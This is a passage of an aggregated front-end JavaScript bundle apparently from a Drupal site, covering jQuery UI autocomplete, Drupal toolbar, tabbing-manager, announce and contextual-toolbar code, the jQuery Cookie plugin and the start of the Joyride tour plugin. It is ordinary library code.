// term synchronously and asynchronously :-(
this._delay(function() {
this.previous = previous;
this.selectedItem = item;
});
}
if ( false !== this._trigger( "select", event, { item: item } ) ) {
this._value( item.value );
}
// reset the term after the select event
// this allows custom select handling to work properly
this.term = this._value();
this.close( event );
this.selectedItem = item;
}
});
this.liveRegion = $( "<span>", {
role: "status",
"aria-live": "polite"
})
.addClass( "ui-helper-hidden-accessible" )
.insertAfter( this.element );
// turning off autocomplete prevents the browser from remembering the
// value when navigating through history, so we re-enable autocomplete
// if the page is unloaded before the widget is destroyed. #7790
this._on( this.window, {
beforeunload: function() {
this.element.removeAttr( "autocomplete" );
}
});
},
_destroy: function() {
clearTimeout( this.searching );
this.element
.removeClass( "ui-autocomplete-input" )
.removeAttr( "autocomplete" );
this.menu.element.remove();
this.liveRegion.remove();
},
_setOption: function( key, value ) {
this._super( key, value );
if ( key === "source" ) {
this._initSource();
}
if ( key === "appendTo" ) {
this.menu.element.appendTo( this._appendTo() );
}
if ( key === "disabled" && value && this.xhr ) {
this.xhr.abort();
}
},
_appendTo: function() {
var element = this.options.appendTo;
if ( element ) {
element = element.jquery || element.nodeType ?
$( element ) :
this.document.find( element ).eq( 0 );
}
if ( !element ) {
element = this.element.closest( ".ui-front" );
}
if ( !element.length ) {
element = this.document[0].body;
}
return element;
},
_initSource: function() {
var array, url,
that = this;
if ( $.isArray(this.options.source) ) {
array = this.options.source;
this.source = function( request, response ) {
response( $.ui.autocomplete.filter( array, request.term ) );
};
} else if ( typeof this.options.source === "string" ) {
url = this.options.source;
this.source = function( request, response ) {
if ( that.xhr ) {
that.xhr.abort();
}
that.xhr = $.ajax({
url: url,
data: request,
dataType: "json",
success: function( data ) {
response( data );
},
error: function() {
response( [] );
}
});
};
} else {
this.source = this.options.source;
}
},
_searchTimeout: function( event ) {
clearTimeout( this.searching );
this.searching = this._delay(function() {
// only search if the value has changed
if ( this.term !== this._value() ) {
this.selectedItem = null;
this.search( null, event );
}
}, this.options.delay );
},
search: function( value, event ) {
value = value != null ? value : this._value();
// always save the actual value, not the one passed as an argument
this.term = this._value();
if ( value.length < this.options.minLength ) {
return this.close( event );
}
if ( this._trigger( "search", event ) === false ) {
return;
}
return this._search( value );
},
_search: function( value ) {
this.pending++;
this.element.addClass( "ui-autocomplete-loading" );
this.cancelSearch = false;
this.source( { term: value }, this._response() );
},
_response: function() {
var that = this,
index = ++requestIndex;
return function( content ) {
if ( index === requestIndex ) {
that.__response( content );
}
that.pending--;
if ( !that.pending ) {
that.element.removeClass( "ui-autocomplete-loading" );
}
};
},
__response: function( content ) {
if ( content ) {
content = this._normalize( content );
}
this._trigger( "response", null, { content: content } );
if ( !this.options.disabled && content && content.length && !this.cancelSearch ) {
this._suggest( content );
this._trigger( "open" );
} else {
// use ._close() instead of .close() so we don't cancel future searches
this._close();
}
},
close: function( event ) {
this.cancelSearch = true;
this._close( event );
},
_close: function( event ) {
if ( this.menu.element.is( ":visible" ) ) {
this.menu.element.hide();
this.menu.blur();
this.isNewMenu = true;
this._trigger( "close", event );
}
},
_change: function( event ) {
if ( this.previous !== this._value() ) {
this._trigger( "change", event, { item: this.selectedItem } );
}
},
_normalize: function( items ) {
// assume all items have the right format when the first item is complete
if ( items.length && items[0].label && items[0].value ) {
return items;
}
return $.map( items, function( item ) {
if ( typeof item === "string" ) {
return {
label: item,
value: item
};
}
return $.extend({
label: item.label || item.value,
value: item.value || item.label
}, item );
});
},
_suggest: function( items ) {
var ul = this.menu.element.empty();
this._renderMenu( ul, items );
this.isNewMenu = true;
this.menu.refresh();
// size and position menu
ul.show();
this._resizeMenu();
ul.position( $.extend({
of: this.element
}, this.options.position ));
if ( this.options.autoFocus ) {
this.menu.next();
}
},
_resizeMenu: function() {
var ul = this.menu.element;
ul.outerWidth( Math.max(
// Firefox wraps long text (possibly a rounding bug)
// so we add 1px to avoid the wrapping (#7513)
ul.width( "" ).outerWidth() + 1,
this.element.outerWidth()
) );
},
_renderMenu: function( ul, items ) {
var that = this;
$.each( items, function( index, item ) {
that._renderItemData( ul, item );
});
},
_renderItemData: function( ul, item ) {
return this._renderItem( ul, item ).data( "ui-autocomplete-item", item );
},
_renderItem: function( ul, item ) {
return $( "<li>" )
.append( $( "<a>" ).text( item.label ) )
.appendTo( ul );
},
_move: function( direction, event ) {
if ( !this.menu.element.is( ":visible" ) ) {
this.search( null, event );
return;
}
if ( this.menu.isFirstItem() && /^previous/.test( direction ) ||
this.menu.isLastItem() && /^next/.test( direction ) ) {
this._value( this.term );
this.menu.blur();
return;
}
this.menu[ direction ]( event );
},
widget: function() {
return this.menu.element;
},
_value: function() {
return this.valueMethod.apply( this.element, arguments );
},
_keyEvent: function( keyEvent, event ) {
if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) {
this._move( keyEvent, event );
// prevents moving cursor to beginning/end of the text field in some browsers
event.preventDefault();
}
}
});
$.extend( $.ui.autocomplete, {
escapeRegex: function( value ) {
return value.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&");
},
filter: function(array, term) {
var matcher = new RegExp( $.ui.autocomplete.escapeRegex(term), "i" );
return $.grep( array, function(value) {
return matcher.test( value.label || value.value || value );
});
}
});
// live region extension, adding a `messages` option
// NOTE: This is an experimental API. We are still investigating
// a full solution for string manipulation and internationalization.
$.widget( "ui.autocomplete", $.ui.autocomplete, {
options: {
messages: {
noResults: "No search results.",
results: function( amount ) {
return amount + ( amount > 1 ? " results are" : " result is" ) +
" available, use up and down arrow keys to navigate.";
}
}
},
__response: function( content ) {
var message;
this._superApply( arguments );
if ( this.options.disabled || this.cancelSearch ) {
return;
}
if ( content && content.length ) {
message = this.options.messages.results( content.length );
} else {
message = this.options.messages.noResults;
}
this.liveRegion.text( message );
}
});
}( jQuery ));
;
/**
* @file
*
* Replaces the home link in toolbar with a back to site link.
*/
(function ($, Drupal, drupalSettings) {
"use strict";
var pathInfo = drupalSettings.path;
var escapeAdminPath = sessionStorage.getItem('escapeAdminPath');
var windowLocation = window.location;
// Saves the last non-administrative page in the browser to be able to link back
// to it when browsing administrative pages. If there is a destination parameter
// there is not need to save the current path because the page is loaded within
// an existing "workflow".
if (!pathInfo.currentPathIsAdmin && !/destination=/.test(windowLocation.search)) {
sessionStorage.setItem('escapeAdminPath', windowLocation);
}
/**
* Replaces the "Home" link with "Back to site" link.
*
* Back to site link points to the last non-administrative page the user visited
* within the same browser tab.
*/
Drupal.behaviors.escapeAdmin = {
attach: function () {
var $toolbarEscape = $('[data-toolbar-escape-admin]').once('escapeAdmin');
if ($toolbarEscape.length) {
if (pathInfo.currentPathIsAdmin && escapeAdminPath !== null) {
$toolbarEscape.attr('href', escapeAdminPath);
$toolbarEscape.closest('.toolbar-tab').removeClass('hidden');
}
}
}
};
})(jQuery, Drupal, drupalSettings);
;
/**
* @file
* Manages page tabbing modifications made by modules.
*/
(function ($, Drupal) {
"use strict";
/**
* Provides an API for managing page tabbing order modifications.
*/
function TabbingManager() {
// Tabbing sets are stored as a stack. The active set is at the top of the
// stack. We use a JavaScript array as if it were a stack; we consider the
// first element to be the bottom and the last element to be the top. This
// allows us to use JavaScript's built-in Array.push() and Array.pop()
// methods.
this.stack = [];
}
/**
* Add public methods to the TabbingManager class.
*/
$.extend(TabbingManager.prototype, {
/**
* Constrain tabbing to the specified set of elements only.
*
* Makes elements outside of the specified set of elements unreachable via the
* tab key.
*
* @param jQuery elements
* The set of elements to which tabbing should be constrained. Can also be
* a jQuery-compatible selector string.
*
* @return TabbingContext
*/
constrain: function (elements) {
// Deactivate all tabbingContexts to prepare for the new constraint. A
// tabbingContext instance will only be reactivated if the stack is unwound
// to it in the _unwindStack() method.
for (var i = 0, il = this.stack.length; i < il; i++) {
this.stack[i].deactivate();
}
// The "active tabbing set" are the elements tabbing should be constrained
// to.
var $elements = $(elements).find(':tabbable').addBack(':tabbable');
var tabbingContext = new TabbingContext({
// The level is the current height of the stack before this new
// tabbingContext is pushed on top of the stack.
level: this.stack.length,
$tabbableElements: $elements
});
this.stack.push(tabbingContext);
// Activates the tabbingContext; this will manipulate the DOM to constrain
// tabbing.
tabbingContext.activate();
// Allow modules to respond to the constrain event.
$(document).trigger('drupalTabbingConstrained', tabbingContext);
return tabbingContext;
},
/**
* Restores a former tabbingContext when an active tabbingContext is released.
*
* The TabbingManager stack of tabbingContext instances will be unwound from
* the top-most released tabbingContext down to the first non-released
* tabbingContext instance. This non-released instance is then activated.
*/
release: function () {
// Unwind as far as possible: find the topmost non-released tabbingContext.
var toActivate = this.stack.length - 1;
while (toActivate >= 0 && this.stack[toActivate].released) {
toActivate--;
}
// Delete all tabbingContexts after the to be activated one. They have
// already been deactivated, so their effect on the DOM has been reversed.
this.stack.splice(toActivate + 1);
// Get topmost tabbingContext, if one exists, and activate it.
if (toActivate >= 0) {
this.stack[toActivate].activate();
}
},
/**
* Makes all elements outside the of the tabbingContext's set untabbable.
*
* Elements made untabble have their original tabindex and autfocus values
* stored so that they might be restored later when this tabbingContext
* is deactivated.
*
* @param TabbingContext tabbingContext
* The TabbingContext instance that has been activated.
*/
activate: function (tabbingContext) {
var $set = tabbingContext.$tabbableElements;
var level = tabbingContext.level;
// Determine which elements are reachable via tabbing by default.
var $disabledSet = $(':tabbable')
// Exclude elements of the active tabbing set.
.not($set);
// Set the disabled set on the tabbingContext.
tabbingContext.$disabledElements = $disabledSet;
// Record the tabindex for each element, so we can restore it later.
for (var i = 0, il = $disabledSet.length; i < il; i++) {
this.recordTabindex($disabledSet.eq(i), level);
}
// Make all tabbable elements outside of the active tabbing set unreachable.
$disabledSet
.prop('tabindex', -1)
.prop('autofocus', false);
// Set focus on an element in the tabbingContext's set of tabbable elements.
// First, check if there is an element with an autofocus attribute. Select
// the last one from the DOM order.
var $hasFocus = $set.filter('[autofocus]').eq(-1);
// If no element in the tabbable set has an autofocus attribute, select the
// first element in the set.
if ($hasFocus.length === 0) {
$hasFocus = $set.eq(0);
}
$hasFocus.trigger('focus');
},
/**
* Restores that tabbable state of a tabbingContext's disabled elements.
*
* Elements that were made untabble have their original tabindex and autfocus
* values restored.
*
* @param TabbingContext tabbingContext
* The TabbingContext instance that has been deactivated.
*/
deactivate: function (tabbingContext) {
var $set = tabbingContext.$disabledElements;
var level = tabbingContext.level;
for (var i = 0, il = $set.length; i < il; i++) {
this.restoreTabindex($set.eq(i), level);
}
},
/**
* Records the tabindex and autofocus values of an untabbable element.
*
* @param jQuery $set
* The set of elements that have been disabled.
* @param Number level
* The stack level for which the tabindex attribute should be recorded.
*/
recordTabindex: function ($el, level) {
var tabInfo = $el.data('drupalOriginalTabIndices') || {};
tabInfo[level] = {
tabindex: $el[0].getAttribute('tabindex'),
autofocus: $el[0].hasAttribute('autofocus')
};
$el.data('drupalOriginalTabIndices', tabInfo);
},
/**
* Restores the tabindex and autofocus values of a reactivated element.
*
* @param jQuery $el
* The element that is being reactivated.
* @param Number level
* The stack level for which the tabindex attribute should be restored.
*/
restoreTabindex: function ($el, level) {
var tabInfo = $el.data('drupalOriginalTabIndices');
if (tabInfo && tabInfo[level]) {
var data = tabInfo[level];
if (data.tabindex) {
$el[0].setAttribute('tabindex', data.tabindex);
}
// If the element did not have a tabindex at this stack level then
// remove it.
else {
$el[0].removeAttribute('tabindex');
}
if (data.autofocus) {
$el[0].setAttribute('autofocus', 'autofocus');
}
// Clean up $.data.
if (level === 0) {
// Remove all data.
$el.removeData('drupalOriginalTabIndices');
}
else {
// Remove the data for this stack level and higher.
var levelToDelete = level;
while (tabInfo.hasOwnProperty(levelToDelete)) {
delete tabInfo[levelToDelete];
levelToDelete++;
}
$el.data('drupalOriginalTabIndices', tabInfo);
}
}
}
});
/**
* Stores a set of tabbable elements.
*
* This constraint can be removed with the release() method.
*
* @param Object options
* A set of initiating values that include:
* - Number level: The level in the TabbingManager's stack of this
* tabbingContext.
* - jQuery $tabbableElements: The DOM elements that should be reachable via
* the tab key when this tabbingContext is active.
* - jQuery $disabledElements: The DOM elements that should not be reachable
* via the tab key when this tabbingContext is active.
* - Boolean released: A released tabbingContext can never be activated again.
* It will be cleaned up when the TabbingManager unwinds its stack.
* - Boolean active: When true, the tabbable elements of this tabbingContext
* will be reachable via the tab key and the disabled elements will not. Only
* one tabbingContext can be active at a time.
*/
function TabbingContext(options) {
$.extend(this, {
level: null,
$tabbableElements: $(),
$disabledElements: $(),
released: false,
active: false
}, options);
}
/**
* Add public methods to the TabbingContext class.
*/
$.extend(TabbingContext.prototype, {
/**
* Releases this TabbingContext.
*
* Once a TabbingContext object is released, it can never be activated again.
*/
release: function () {
if (!this.released) {
this.deactivate();
this.released = true;
Drupal.tabbingManager.release(this);
// Allow modules to respond to the tabbingContext release event.
$(document).trigger('drupalTabbingContextReleased', this);
}
},
/**
* Activates this TabbingContext.
*/
activate: function () {
// A released TabbingContext object can never be activated again.
if (!this.active && !this.released) {
this.active = true;
Drupal.tabbingManager.activate(this);
// Allow modules to respond to the constrain event.
$(document).trigger('drupalTabbingContextActivated', this);
}
},
/**
* Deactivates this TabbingContext.
*/
deactivate: function () {
if (this.active) {
this.active = false;
Drupal.tabbingManager.deactivate(this);
// Allow modules to respond to the constrain event.
$(document).trigger('drupalTabbingContextDeactivated', this);
}
}
});
// Mark this behavior as processed on the first pass and return if it is
// already processed.
if (Drupal.tabbingManager) {
return;
}
Drupal.tabbingManager = new TabbingManager();
}(jQuery, Drupal));
;
/**
* Limits the invocations of a function in a given time frame.
*
* Adapted from underscore.js with the addition Drupal namespace.
*
* The debounce function wrapper should be used sparingly. One clear use case
* is limiting the invocation of a callback attached to the window resize event.
*
* Before using the debounce function wrapper, consider first whether the
* callback could be attached to an event that fires less frequently or if the
* function can be written in such a way that it is only invoked under specific
* conditions.
*
* @param {Function} callback
* The function to be invoked.
*
* @param {Number} wait
* The time period within which the callback function should only be
* invoked once. For example if the wait period is 250ms, then the callback
* will only be called at most 4 times per second.
*/
Drupal.debounce = function (func, wait, immediate) {
"use strict";
var timeout, result;
return function () {
var context = this;
var args = arguments;
var later = function () {
timeout = null;
if (!immediate) {
result = func.apply(context, args);
}
};
var callNow = immediate && !timeout;
clearTimeout(timeout);
timeout = setTimeout(later, wait);
if (callNow) {
result = func.apply(context, args);
}
return result;
};
};
;
/**
* Adds an HTML element and method to trigger audio UAs to read system messages.
*
* Use Drupal.announce() to indicate to screen reader users that an element on
* the page has changed state. For instance, if clicking a link loads 10 more
* items into a list, one might announce the change like this.
* $('#search-list')
* .on('itemInsert', function (event, data) {
* // Insert the new items.
* $(data.container.el).append(data.items.el);
* // Announce the change to the page contents.
* Drupal.announce(Drupal.t('@count items added to @container',
* {'@count': data.items.length, '@container': data.container.title}
* ));
* });
*/
(function (Drupal, debounce) {
"use strict";
var liveElement;
var announcements = [];
/**
* Builds a div element with the aria-live attribute and attaches it
* to the DOM.
*/
Drupal.behaviors.drupalAnnounce = {
attach: function (context) {
// Create only one aria-live element.
if (!liveElement) {
liveElement = document.createElement('div');
liveElement.id = 'drupal-live-announce';
liveElement.className = 'visually-hidden';
liveElement.setAttribute('aria-live', 'polite');
liveElement.setAttribute('aria-busy', 'false');
document.body.appendChild(liveElement);
}
}
};
/**
* Concatenates announcements to a single string; appends to the live region.
*/
function announce() {
var text = [];
var priority = 'polite';
var announcement;
// Create an array of announcement strings to be joined and appended to the
// aria live region.
for (var i = 0, il = announcements.length; i < il; i++) {
announcement = announcements.pop();
text.unshift(announcement.text);
// If any of the announcements has a priority of assertive then the group
// of joined announcements will have this priority.
if (announcement.priority === 'assertive') {
priority = 'assertive';
}
}
if (text.length) {
// Clear the liveElement so that repeated strings will be read.
liveElement.innerHTML = '';
// Set the busy state to true until the node changes are complete.
liveElement.setAttribute('aria-busy', 'true');
// Set the priority to assertive, or default to polite.
liveElement.setAttribute('aria-live', priority);
// Print the text to the live region. Text should be run through
// Drupal.t() before being passed to Drupal.announce().
liveElement.innerHTML = text.join('\n');
// The live text area is updated. Allow the AT to announce the text.
liveElement.setAttribute('aria-busy', 'false');
}
}
/**
* Triggers audio UAs to read the supplied text.
*
* The aria-live region will only read the text that currently populates its
* text node. Replacing text quickly in rapid calls to announce results in
* only the text from the most recent call to Drupal.announce() being read.
* By wrapping the call to announce in a debounce function, we allow for
* time for multiple calls to Drupal.announce() to queue up their messages.
* These messages are then joined and append to the aria-live region as one
* text node.
*
* @param String text
* A string to be read by the UA.
* @param String priority
* A string to indicate the priority of the message. Can be either
* 'polite' or 'assertive'. Polite is the default.
*
* @see http://www.w3.org/WAI/PF/aria-practices/#liveprops
*/
Drupal.announce = function (text, priority) {
// Save the text and priority into a closure variable. Multiple simultaneous
// announcements will be concatenated and read in sequence.
announcements.push({
text: text,
priority: priority
});
// Immediately invoke the function that debounce returns. 200 ms is right at
// the cusp where humans notice a pause, so we will wait
// at most this much time before the set of queued announcements is read.
return (debounce(announce, 200)());
};
}(Drupal, Drupal.debounce));
;
/**
* @file
* Attaches behaviors for the Contextual module's edit toolbar tab.
*/
(function ($, Drupal, Backbone) {
"use strict";
var strings = {
tabbingReleased: Drupal.t('Tabbing is no longer constrained by the Contextual module.'),
tabbingConstrained: Drupal.t('Tabbing is constrained to a set of @contextualsCount and the edit mode toggle.'),
pressEsc: Drupal.t('Press the esc key to exit.')
};
/**
* Initializes a contextual link: updates its DOM, sets up model and views
*
* @param DOM links
* A contextual links DOM element as rendered by the server.
*/
function initContextualToolbar(context) {
if (!Drupal.contextual || !Drupal.contextual.collection) {
return;
}
var contextualToolbar = Drupal.contextualToolbar;
var model = contextualToolbar.model = new contextualToolbar.StateModel({
// Checks whether localStorage indicates we should start in edit mode
// rather than view mode.
// @see Drupal.contextualToolbar.VisualView.persist()
isViewing: localStorage.getItem('Drupal.contextualToolbar.isViewing') !== 'false'
}, {
contextualCollection: Drupal.contextual.collection
});
var viewOptions = {
el: $('.toolbar .toolbar-bar .contextual-toolbar-tab'),
model: model,
strings: strings
};
new contextualToolbar.VisualView(viewOptions);
new contextualToolbar.AuralView(viewOptions);
}
/**
* Attaches contextual's edit toolbar tab behavior.
*/
Drupal.behaviors.contextualToolbar = {
attach: function (context) {
if ($('body').once('contextualToolbar-init').length) {
initContextualToolbar(context);
}
}
};
Drupal.contextualToolbar = {
// The Drupal.contextualToolbar.Model instance.
model: null
};
})(jQuery, Drupal, Backbone);
;
/**
* @file
* A Backbone Model for the state of Contextual module's edit toolbar tab.
*/
(function (Drupal, Backbone) {
"use strict";
/**
* Models the state of the edit mode toggle.
*/
Drupal.contextualToolbar.StateModel = Backbone.Model.extend({
defaults: {
// Indicates whether the toggle is currently in "view" or "edit" mode.
isViewing: true,
// Indicates whether the toggle should be visible or hidden. Automatically
// calculated, depends on contextualCount.
isVisible: false,
// Tracks how many contextual links exist on the page.
contextualCount: 0,
// A TabbingContext object as returned by Drupal.TabbingManager: the set
// of tabbable elements when edit mode is enabled.
tabbingContext: null
},
/**
* {@inheritdoc}
*
* @param Object attrs
* @param Object options
* An object with the following option:
* - Backbone.collection contextualCollection: the collection of
* Drupal.contextual.StateModel models that represent the contextual
* links on the page.
*/
initialize: function (attrs, options) {
// Respond to new/removed contextual links.
this.listenTo(options.contextualCollection, {
'reset remove add': this.countCountextualLinks,
'add': this.lockNewContextualLinks
});
this.listenTo(this, {
// Automatically determine visibility.
'change:contextualCount': this.updateVisibility,
// Whenever edit mode is toggled, lock all contextual links.
'change:isViewing': function (model, isViewing) {
options.contextualCollection.each(function (contextualModel) {
contextualModel.set('isLocked', !isViewing);
});
}
});
},
/**
* Tracks the number of contextual link models in the collection.
*
* @param Drupal.contextual.StateModel contextualModel
* The contextual links model that was added or removed.
* @param Backbone.Collection contextualCollection
* The collection of contextual link models.
*/
countCountextualLinks: function (contextualModel, contextualCollection) {
this.set('contextualCount', contextualCollection.length);
},
/**
* Lock newly added contextual links if edit mode is enabled.
*
* @param Drupal.contextual.StateModel contextualModel
* The contextual links model that was added.
* @param Backbone.Collection contextualCollection
* The collection of contextual link models.
*/
lockNewContextualLinks: function (contextualModel, contextualCollection) {
if (!this.get('isViewing')) {
contextualModel.set('isLocked', true);
}
},
/**
* Automatically updates visibility of the view/edit mode toggle.
*/
updateVisibility: function () {
this.set('isVisible', this.get('contextualCount') > 0);
}
});
})(Drupal, Backbone);
;
/**
* @file
* A Backbone View that provides the aural view of the edit mode toggle.
*/
(function ($, Drupal, Backbone, _) {
"use strict";
/**
* Renders the aural view of the edit mode toggle (i.e.screen reader support).
*/
Drupal.contextualToolbar.AuralView = Backbone.View.extend({
// Tracks whether the tabbing constraint announcement has been read once yet.
announcedOnce: false,
/*
* {@inheritdoc}
*/
initialize: function (options) {
this.options = options;
this.listenTo(this.model, 'change', this.render);
this.listenTo(this.model, 'change:isViewing', this.manageTabbing);
$(document).on('keyup', _.bind(this.onKeypress, this));
},
/**
* {@inheritdoc}
*/
render: function () {
// Render the state.
this.$el.find('button').attr('aria-pressed', !this.model.get('isViewing'));
return this;
},
/**
* Limits tabbing to the contextual links and edit mode toolbar tab.
*
* @param Drupal.contextualToolbar.StateModel model
* A Drupal.contextualToolbar.StateModel model.
* @param bool isViewing
* The value of the isViewing attribute in the model.
*/
manageTabbing: function () {
var tabbingContext = this.model.get('tabbingContext');
// Always release an existing tabbing context.
if (tabbingContext) {
tabbingContext.release();
Drupal.announce(this.options.strings.tabbingReleased);
}
// Create a new tabbing context when edit mode is enabled.
if (!this.model.get('isViewing')) {
tabbingContext = Drupal.tabbingManager.constrain($('.contextual-toolbar-tab, .contextual'));
this.model.set('tabbingContext', tabbingContext);
this.announceTabbingConstraint();
this.announcedOnce = true;
}
},
/**
* Announces the current tabbing constraint.
*/
announceTabbingConstraint: function () {
var strings = this.options.strings;
Drupal.announce(Drupal.formatString(strings.tabbingConstrained, {
'@contextualsCount': Drupal.formatPlural(Drupal.contextual.collection.length, '@count contextual link', '@count contextual links')
}));
Drupal.announce(strings.pressEsc);
},
/**
* Responds to esc and tab key press events.
*
* @param jQuery.Event event
*/
onKeypress: function (event) {
// The first tab key press is tracked so that an annoucement about tabbing
// constraints can be raised if edit mode is enabled when the page is
// loaded.
if (!this.announcedOnce && event.keyCode === 9 && !this.model.get('isViewing')) {
this.announceTabbingConstraint();
// Set announce to true so that this conditional block won't run again.
this.announcedOnce = true;
}
// Respond to the ESC key. Exit out of edit mode.
if (event.keyCode === 27) {
this.model.set('isViewing', true);
}
}
});
})(jQuery, Drupal, Backbone, _);
;
/**
* @file
* A Backbone View that provides the visual view of the edit mode toggle.
*/
(function (Drupal, Backbone) {
"use strict";
/**
* Renders the visual view of the edit mode toggle. Listens to mouse & touch.
*
* Handles edit mode toggle interactions.
*/
Drupal.contextualToolbar.VisualView = Backbone.View.extend({
events: function () {
// Prevents delay and simulated mouse events.
var touchEndToClick = function (event) {
event.preventDefault();
event.target.click();
};
return {
'click': function () {
this.model.set('isViewing', !this.model.get('isViewing'));
},
'touchend': touchEndToClick
};
},
/**
* {@inheritdoc}
*/
initialize: function () {
this.listenTo(this.model, 'change', this.render);
this.listenTo(this.model, 'change:isViewing', this.persist);
},
/**
* {@inheritdoc}
*/
render: function () {
// Render the visibility.
this.$el.toggleClass('hidden', !this.model.get('isVisible'));
// Render the state.
this.$el.find('button').toggleClass('active', !this.model.get('isViewing'));
return this;
},
/**
* Model change handler; persists the isViewing value to localStorage.
*
* isViewing === true is the default, so only stores in localStorage when
* it's not the default value (i.e. false).
*
* @param Drupal.contextualToolbar.StateModel model
* A Drupal.contextualToolbar.StateModel model.
* @param bool isViewing
* The value of the isViewing attribute in the model.
*/
persist: function (model, isViewing) {
if (!isViewing) {
localStorage.setItem('Drupal.contextualToolbar.isViewing', 'false');
}
else {
localStorage.removeItem('Drupal.contextualToolbar.isViewing');
}
}
});
})(Drupal, Backbone);
;
/*!
* jQuery Cookie Plugin v1.4.0
* https://github.com/carhartl/jquery-cookie
*
* Copyright 2013 Klaus Hartl
* Released under the MIT license
*/
(function (factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as anonymous module.
define(['jquery'], factory);
} else {
// Browser globals.
factory(jQuery);
}
}(function ($) {
var pluses = /\+/g;
function encode(s) {
return config.raw ? s : encodeURIComponent(s);
}
function decode(s) {
return config.raw ? s : decodeURIComponent(s);
}
function stringifyCookieValue(value) {
return encode(config.json ? JSON.stringify(value) : String(value));
}
function parseCookieValue(s) {
if (s.indexOf('"') === 0) {
// This is a quoted cookie as according to RFC2068, unescape...
s = s.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, '\\');
}
try {
// Replace server-side written pluses with spaces.
// If we can't decode the cookie, ignore it, it's unusable.
s = decodeURIComponent(s.replace(pluses, ' '));
} catch(e) {
return;
}
try {
// If we can't parse the cookie, ignore it, it's unusable.
return config.json ? JSON.parse(s) : s;
} catch(e) {}
}
function read(s, converter) {
var value = config.raw ? s : parseCookieValue(s);
return $.isFunction(converter) ? converter(value) : value;
}
var config = $.cookie = function (key, value, options) {
// Write
if (value !== undefined && !$.isFunction(value)) {
options = $.extend({}, config.defaults, options);
if (typeof options.expires === 'number') {
var days = options.expires, t = options.expires = new Date();
t.setDate(t.getDate() + days);
}
return (document.cookie = [
encode(key), '=', stringifyCookieValue(value),
options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
options.path ? '; path=' + options.path : '',
options.domain ? '; domain=' + options.domain : '',
options.secure ? '; secure' : ''
].join(''));
}
// Read
var result = key ? undefined : {};
// To prevent the for loop in the first place assign an empty array
// in case there are no cookies at all. Also prevents odd result when
// calling $.cookie().
var cookies = document.cookie ? document.cookie.split('; ') : [];
for (var i = 0, l = cookies.length; i < l; i++) {
var parts = cookies[i].split('=');
var name = decode(parts.shift());
var cookie = parts.join('=');
if (key && key === name) {
// If second argument (value) is a function it's a converter...
result = read(cookie, value);
break;
}
// Prevent storing a cookie that we couldn't decode.
if (!key && (cookie = read(cookie)) !== undefined) {
result[name] = cookie;
}
}
return result;
};
config.defaults = {};
$.removeCookie = function (key, options) {
if ($.cookie(key) !== undefined) {
// Must not alter options, thus extending a fresh object...
$.cookie(key, '', $.extend({}, options, { expires: -1 }));
return true;
}
return false;
};
}));
;
/*
* jQuery Foundation Joyride Plugin 2.0.3
* http://foundation.zurb.com
* Copyright 2012, ZURB
* Free to use under the MIT license.
* http://www.opensource.org/licenses/mit-license.php
*/
/*jslint unparam: true, browser: true, indent: 2 */
;(function ($, window, undefined) {
'use strict';
var defaults = {
'version' : '2.0.3',
'tipLocation' : 'bottom', // 'top' or 'bottom' in relation to parent
'nubPosition' : 'auto', // override on a per tooltip bases
'scrollSpeed' : 300, // Page scrolling speed in milliseconds
'timer' : 0, // 0 = no timer , all other numbers = timer in milliseconds
'startTimerOnClick' : true, // true or false - true requires clicking the first button start the timer
'startOffset' : 0, // the index of the tooltip you want to start on (index of the li)
'nextButton' : true, // true or false to control whether a next button is used
'tipAnimation' : 'fade', // 'pop' or 'fade' in each tip
'pauseAfter' : [], // array of indexes where to pause the tour after
'tipAnimationFadeSpeed': 300, // when tipAnimation = 'fade' this is speed in milliseconds for the transition
'cookieMonster' : false, // true or false to control whether cookies are used
'cookieName' : 'joyride', // Name the cookie you'll use
'cookieDomain' : false, // Will this cookie be attached to a domain, ie. '.notableapp.com'
'tipContainer' : 'body', // Where will the tip be attached
'postRideCallback' : $.noop, // A method to call once the tour closes (canceled or complete)
'postStepCallback' : $.noop, // A method to call after each step
'template' : { // HTML segments for tip layout
'link' : '<a href="#close" class="joyride-close-tip">X</a>',
'timer' : '<div class="joyride-timer-indicator-wrap"><span class="joyride-timer-indicator"></span></div>',
'tip' : '<div class="joyride-tip-guide"><span class="joyride-nub"></span></div>',
'wrapper' : '<div class="joyride-content-wrapper" role="dialog"></div>',
'button' : '<a href="#" class="joyride-next-tip"></a>'
}
},
Modernizr = Modernizr || false,
settings = {},
methods = {
init : function (opts) {
return this.each(function () {
if ($.isEmptyObject(settings)) {
settings = $.extend(true, defaults, opts);
// non configurable settings
settings.document = window.document;
settings.$document = $(settings.document);
settings.$window = $(window);
settings.$content_el = $(this);
settings.body_offset = $(settings.tipContainer).position();
settings.$tip_content = $('> li', settings.$content_el);
settings.paused = false;
settings.attempts = 0;
settings.tipLocationPatterns = {
top: ['bottom'],
bottom: [], // bottom should not need to be repositioned
left: ['right', 'top', 'bottom'],
right: ['left', 'top', 'bottom']
};
// are we using jQuery 1.7+
methods.jquery_check();
// can we create cookies?
if (!$.isFunction($.cookie)) {
settings.cookieMonster = false;
}
// generate the tips and insert into dom.
if (!settings.cookieMonster || !$.cookie(settings.cookieName)) {
settings.$tip_content.each(function (index) {
methods.create({$li : $(this), index : index});
});
// show first tip
if (!settings.startTimerOnClick && settings.timer > 0) {
methods.show('init');
methods.startTimer();
} else {
methods.show('init');
}
}
settings.$document.on('click.joyride', '.joyride-next-tip, .joyride-modal-bg', function (e) {
e.preventDefault();
if (settings.$li.next().length < 1) {
methods.end();
} else if (settings.timer > 0) {
clearTimeout(settings.automate);
methods.hide();
methods.show();
methods.startTimer();
} else {
methods.hide();
methods.show();
}
});
settings.$document.on('click.joyride', '.joyride-close-tip', function (e) {
e.preventDefault();
methods.end();
});
settings.$window.bind('resize.joyride', function (e) {
if (methods.is_phone()) {
methods.pos_phone();
} else {
methods.pos_default();
}
});
} else {
methods.restart();
}
});
},
// call this method when you want to resume the tour
resume : function () {
methods.set_li();
methods.show();
},
tip_template : function (opts) {
var $blank, content, $wrapper;
opts.tip_class = opts.tip_class || '';
$blank = $(settings.template.tip).addClass(opts.tip_class);
content = $.trim($(opts.li).html()) +
methods.button_text(opts.button_text) +
settings.template.link +
methods.timer_instance(opts.index);
$wrapper = $(settings.template.wrapper);
if (opts.li.attr('data-aria-labelledby')) {
